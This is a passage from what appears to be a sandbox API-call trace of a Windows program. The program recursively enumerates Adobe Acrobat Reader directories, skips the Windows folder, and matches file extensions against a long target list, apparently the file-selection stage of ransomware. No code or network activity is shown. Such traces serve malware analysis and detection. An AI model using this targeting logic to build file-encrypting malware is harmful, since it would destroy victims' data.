lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".cub") returned 4 [0264.575] lstrcmpiW (lpString1=".cub", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".dae") returned 4 [0264.575] lstrcmpiW (lpString1=".dae", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".dat") returned 4 [0264.575] lstrcmpiW (lpString1=".dat", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".db") returned 3 [0264.575] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.575] lstrlenW (lpString=".dbf") returned 4 [0264.575] lstrcmpiW (lpString1=".dbf", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".dbx") returned 4 [0264.575] lstrcmpiW (lpString1=".dbx", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".dc3") returned 4 [0264.576] lstrcmpiW (lpString1=".dc3", lpString2="p.js") returned -1 [0264.576] lstrlenW (lpString=".dcm") returned 4 [0264.576] lstrcmpiW (lpString1=".dcm", lpString2="p.js") returned -1 [0264.576] lstrlenW (lpString=".dcr") returned 4 [0264.576] lstrcmpiW (lpString1=".dcr", lpString2="p.js") returned -1 [0264.576] lstrlenW (lpString=".der") returned 4 [0264.576] lstrcmpiW (lpString1=".der", lpString2="p.js") returned -1 [0264.576] lstrlenW (lpString=".dib") returned 4 [0264.576] lstrcmpiW (lpString1=".dib", lpString2="p.js") returned -1 [0264.576] lstrlenW (lpString=".dic") returned 4 [0264.576] lstrcmpiW (lpString1=".dic", lpString2="p.js") returned -1 [0264.576] lstrlenW (lpString=".dif") returned 4 [0264.576] lstrcmpiW (lpString1=".dif", lpString2="p.js") returned -1 [0264.576] lstrlenW (lpString=".divx") returned 5 [0264.576] lstrcmpiW (lpString1=".divx", lpString2="op.js") returned -1 [0264.576] lstrlenW (lpString=".djvu") returned 5 [0264.577] lstrcmpiW (lpString1=".djvu", lpString2="op.js") returned -1 [0264.577] lstrlenW (lpString=".dng") returned 4 [0264.577] lstrcmpiW (lpString1=".dng", lpString2="p.js") returned -1 [0264.577] lstrlenW (lpString=".doc") returned 4 [0264.577] lstrcmpiW (lpString1=".doc", lpString2="p.js") returned -1 [0264.577] lstrlenW (lpString=".docm") returned 5 [0264.577] lstrcmpiW (lpString1=".docm", lpString2="op.js") returned -1 [0264.577] lstrlenW (lpString=".docx") returned 5 [0264.577] lstrcmpiW (lpString1=".docx", lpString2="op.js") returned -1 [0264.577] lstrlenW (lpString=".dot") returned 4 [0264.577] lstrcmpiW (lpString1=".dot", lpString2="p.js") returned -1 [0264.577] lstrlenW (lpString=".dotm") returned 5 [0264.577] lstrcmpiW (lpString1=".dotm", lpString2="op.js") returned -1 [0264.577] lstrlenW (lpString=".dotx") returned 5 [0264.577] lstrcmpiW (lpString1=".dotx", lpString2="op.js") returned -1 [0264.577] lstrlenW (lpString=".dpx") returned 4 [0264.577] lstrcmpiW (lpString1=".dpx", lpString2="p.js") returned -1 [0264.577] lstrlenW (lpString=".dqy") returned 4 [0264.577] lstrcmpiW (lpString1=".dqy", lpString2="p.js") returned -1 [0264.577] lstrlenW (lpString=".dsn") returned 4 [0264.577] lstrcmpiW (lpString1=".dsn", lpString2="p.js") returned -1 [0264.578] lstrlenW (lpString=".dt") returned 3 [0264.578] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0264.578] lstrlenW (lpString=".dtd") returned 4 [0264.578] lstrcmpiW (lpString1=".dtd", lpString2="p.js") returned -1 [0264.578] lstrlenW (lpString=".dwg") returned 4 [0264.578] lstrcmpiW (lpString1=".dwg", lpString2="p.js") returned -1 [0264.578] lstrlenW (lpString=".dwt") returned 4 [0264.578] lstrcmpiW (lpString1=".dwt", lpString2="p.js") returned -1 [0264.578] lstrlenW (lpString=".dx") returned 3 [0264.578] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.578] lstrlenW (lpString=".dxf") returned 4 [0264.578] lstrcmpiW (lpString1=".dxf", lpString2="p.js") returned -1 [0264.578] lstrlenW (lpString=".edml") returned 5 [0264.578] lstrcmpiW (lpString1=".edml", lpString2="op.js") returned -1 [0264.578] lstrlenW (lpString=".efd") returned 4 [0264.578] lstrcmpiW (lpString1=".efd", lpString2="p.js") returned -1 [0264.578] lstrlenW (lpString=".elf") returned 4 [0264.578] lstrcmpiW (lpString1=".elf", lpString2="p.js") returned -1 [0264.578] lstrlenW (lpString=".emf") returned 4 [0264.579] lstrcmpiW (lpString1=".emf", lpString2="p.js") returned -1 [0264.579] lstrlenW (lpString=".emz") returned 4 [0264.579] lstrcmpiW (lpString1=".emz", lpString2="p.js") returned -1 [0264.579] lstrlenW (lpString=".epf") returned 4 [0264.579] lstrcmpiW (lpString1=".epf", lpString2="p.js") returned -1 [0264.579] lstrlenW (lpString=".eps") returned 4 [0264.579] lstrcmpiW (lpString1=".eps", lpString2="p.js") returned -1 [0264.579] lstrlenW (lpString=".epsf") returned 5 [0264.579] lstrcmpiW (lpString1=".epsf", lpString2="op.js") returned -1 [0264.579] lstrlenW (lpString=".epsp") returned 5 [0264.579] lstrcmpiW (lpString1=".epsp", lpString2="op.js") returned -1 [0264.579] lstrlenW (lpString=".erf") returned 4 [0264.579] lstrcmpiW (lpString1=".erf", lpString2="p.js") returned -1 [0264.579] lstrlenW (lpString=".exr") returned 4 [0264.579] lstrcmpiW (lpString1=".exr", lpString2="p.js") returned -1 [0264.579] lstrlenW (lpString=".f4v") returned 4 [0264.579] lstrcmpiW (lpString1=".f4v", lpString2="p.js") returned -1 [0264.579] lstrlenW (lpString=".fido") returned 5 [0264.579] lstrcmpiW (lpString1=".fido", lpString2="op.js") returned -1 [0264.579] lstrlenW (lpString=".flm") returned 4 [0264.579] lstrcmpiW (lpString1=".flm", lpString2="p.js") returned -1 [0264.579] lstrlenW (lpString=".flv") returned 4 [0264.579] lstrcmpiW (lpString1=".flv", lpString2="p.js") returned -1 [0264.580] lstrlenW (lpString=".frm") returned 4 [0264.580] lstrcmpiW (lpString1=".frm", lpString2="p.js") returned -1 [0264.580] lstrlenW (lpString=".fxg") returned 4 [0264.580] lstrcmpiW (lpString1=".fxg", lpString2="p.js") returned -1 [0264.580] lstrlenW (lpString=".geo") returned 4 [0264.580] lstrcmpiW (lpString1=".geo", lpString2="p.js") returned -1 [0264.580] lstrlenW (lpString=".gif") returned 4 [0264.580] lstrcmpiW (lpString1=".gif", lpString2="p.js") returned -1 [0264.580] lstrlenW (lpString=".grs") returned 4 [0264.580] lstrcmpiW (lpString1=".grs", lpString2="p.js") returned -1 [0264.580] lstrlenW (lpString=".gz") returned 3 [0264.580] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0264.580] lstrlenW (lpString=".h") returned 2 [0264.580] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0264.580] lstrlenW (lpString=".hdr") returned 4 [0264.580] lstrcmpiW (lpString1=".hdr", lpString2="p.js") returned -1 [0264.580] lstrlenW (lpString=".hpp") returned 4 [0264.580] lstrcmpiW (lpString1=".hpp", lpString2="p.js") returned -1 [0264.580] lstrlenW (lpString=".hta") returned 4 [0264.580] lstrcmpiW (lpString1=".hta", lpString2="p.js") returned -1 [0264.581] lstrlenW (lpString=".htc") returned 4 [0264.581] lstrcmpiW (lpString1=".htc", lpString2="p.js") returned -1 [0264.581] lstrlenW (lpString=".htm") returned 4 [0264.581] lstrcmpiW (lpString1=".htm", lpString2="p.js") returned -1 [0264.581] lstrlenW (lpString=".html") returned 5 [0264.581] lstrcmpiW (lpString1=".html", lpString2="op.js") returned -1 [0264.581] lstrlenW (lpString=".icb") returned 4 [0264.581] lstrcmpiW (lpString1=".icb", lpString2="p.js") returned -1 [0264.581] lstrlenW (lpString=".ics") returned 4 [0264.581] lstrcmpiW (lpString1=".ics", lpString2="p.js") returned -1 [0264.581] lstrlenW (lpString=".iff") returned 4 [0264.581] lstrcmpiW (lpString1=".iff", lpString2="p.js") returned -1 [0264.581] lstrlenW (lpString=".inc") returned 4 [0264.581] lstrcmpiW (lpString1=".inc", lpString2="p.js") returned -1 [0264.581] lstrlenW (lpString=".indd") returned 5 [0264.581] lstrcmpiW (lpString1=".indd", lpString2="op.js") returned -1 [0264.581] lstrlenW (lpString=".ini") returned 4 [0264.581] lstrcmpiW (lpString1=".ini", lpString2="p.js") returned -1 [0264.582] lstrlenW (lpString=".iqy") returned 4 [0264.582] lstrcmpiW (lpString1=".iqy", lpString2="p.js") returned -1 [0264.582] lstrlenW (lpString=".j2c") returned 4 [0264.582] lstrcmpiW (lpString1=".j2c", lpString2="p.js") returned -1 [0264.582] lstrlenW (lpString=".j2k") returned 4 [0264.582] lstrcmpiW (lpString1=".j2k", lpString2="p.js") returned -1 [0264.582] lstrlenW (lpString=".java") returned 5 [0264.582] lstrcmpiW (lpString1=".java", lpString2="op.js") returned -1 [0264.582] lstrlenW (lpString=".jp2") returned 4 [0264.582] lstrcmpiW (lpString1=".jp2", lpString2="p.js") returned -1 [0264.582] lstrlenW (lpString=".jpc") returned 4 [0264.582] lstrcmpiW (lpString1=".jpc", lpString2="p.js") returned -1 [0264.582] lstrlenW (lpString=".jpe") returned 4 [0264.582] lstrcmpiW (lpString1=".jpe", lpString2="p.js") returned -1 [0264.582] lstrlenW (lpString=".jpeg") returned 5 [0264.582] lstrcmpiW (lpString1=".jpeg", lpString2="op.js") returned -1 [0264.582] lstrlenW (lpString=".jpf") returned 4 [0264.582] lstrcmpiW (lpString1=".jpf", lpString2="p.js") returned -1 [0264.583] lstrlenW (lpString=".jpg") returned 4 [0264.583] lstrcmpiW (lpString1=".jpg", lpString2="p.js") returned -1 [0264.583] lstrlenW (lpString=".jpx") returned 4 [0264.583] lstrcmpiW (lpString1=".jpx", lpString2="p.js") returned -1 [0264.583] lstrlenW (lpString=".js") returned 3 [0264.583] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0264.583] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0264.583] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files") returned 92 [0264.583] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files") returned 1 [0264.583] lstrlenW (lpString="files") returned 5 [0264.583] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="files") returned -1 [0264.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0264.602] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files") returned 92 [0264.602] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\*", lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0264.603] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0264.604] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1 [0264.604] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev") returned 96 [0264.604] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev") returned 1 [0264.604] lstrlenW (lpString="dev") returned 3 [0264.604] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dev") returned -1 [0264.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0264.605] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev") returned 96 [0264.606] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0264.606] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.606] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0264.606] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls") returned 100 [0264.606] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls") returned 1 [0264.607] lstrlenW (lpString="nls") returned 3 [0264.607] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nls") returned -1 [0264.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4215da0 [0264.608] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls") returned 100 [0264.608] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0264.611] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0264.612] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0264.612] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae") returned 106 [0264.612] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae") returned 1 [0264.612] lstrlenW (lpString="ar-ae") returned 5 [0264.612] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ar-ae") returned 1 [0264.612] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0264.612] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae") returned 106 [0264.612] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0264.614] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.614] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.614] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0264.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0264.614] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0264.614] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es") returned 106 [0264.614] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es") returned 1 [0264.614] lstrlenW (lpString="ca-es") returned 5 [0264.614] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ca-es") returned -1 [0264.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0264.614] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es") returned 106 [0264.614] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ca-es\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0264.616] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.616] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.616] lstrlenW (lpString="ui-strings.js") returned 13 [0264.616] lstrlenW (lpString=".1cd") returned 4 [0264.616] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0264.616] lstrlenW (lpString=".3ds") returned 4 [0264.616] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0264.616] lstrlenW (lpString=".3fr") returned 4 [0264.616] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0264.616] lstrlenW (lpString=".3g2") returned 4 [0264.616] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0264.616] lstrlenW (lpString=".3gp") returned 4 [0264.616] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0264.616] lstrlenW (lpString=".7z") returned 3 [0264.617] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.617] lstrlenW (lpString=".accda") returned 6 [0264.617] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0264.617] lstrlenW (lpString=".accdb") returned 6 [0264.617] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0264.617] lstrlenW (lpString=".accdc") returned 6 [0264.617] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0264.617] lstrlenW (lpString=".accde") returned 6 [0264.617] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0264.617] lstrlenW (lpString=".accdt") returned 6 [0264.617] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0264.617] lstrlenW (lpString=".accdw") returned 6 [0264.617] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0264.617] lstrlenW (lpString=".adb") returned 4 [0264.617] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0264.617] lstrlenW (lpString=".adp") returned 4 [0264.617] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0264.617] lstrlenW (lpString=".ai") returned 3 [0264.617] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.617] lstrlenW (lpString=".ai3") returned 4 [0264.617] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0264.617] lstrlenW (lpString=".ai4") returned 4 [0264.618] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0264.618] lstrlenW (lpString=".ai5") returned 4 [0264.618] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0264.618] lstrlenW (lpString=".ai6") returned 4 [0264.618] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0264.618] lstrlenW (lpString=".ai7") returned 4 [0264.618] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0264.618] lstrlenW (lpString=".ai8") returned 4 [0264.618] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0264.618] lstrlenW (lpString=".anim") returned 5 [0264.618] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0264.618] lstrlenW (lpString=".arw") returned 4 [0264.618] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0264.618] lstrlenW (lpString=".as") returned 3 [0264.618] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.618] lstrlenW (lpString=".asa") returned 4 [0264.618] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0264.618] lstrlenW (lpString=".asc") returned 4 [0264.619] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0264.619] lstrlenW (lpString=".ascx") returned 5 [0264.619] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0264.619] lstrlenW (lpString=".asm") returned 4 [0264.619] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0264.619] lstrlenW (lpString=".asmx") returned 5 [0264.619] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0264.619] lstrlenW (lpString=".asp") returned 4 [0264.619] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0264.619] lstrlenW (lpString=".aspx") returned 5 [0264.619] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0264.619] lstrlenW (lpString=".asr") returned 4 [0264.619] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0264.619] lstrlenW (lpString=".asx") returned 4 [0264.619] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0264.620] lstrlenW (lpString=".avi") returned 4 [0264.620] lstrcmpiW (lpString1=".avi", 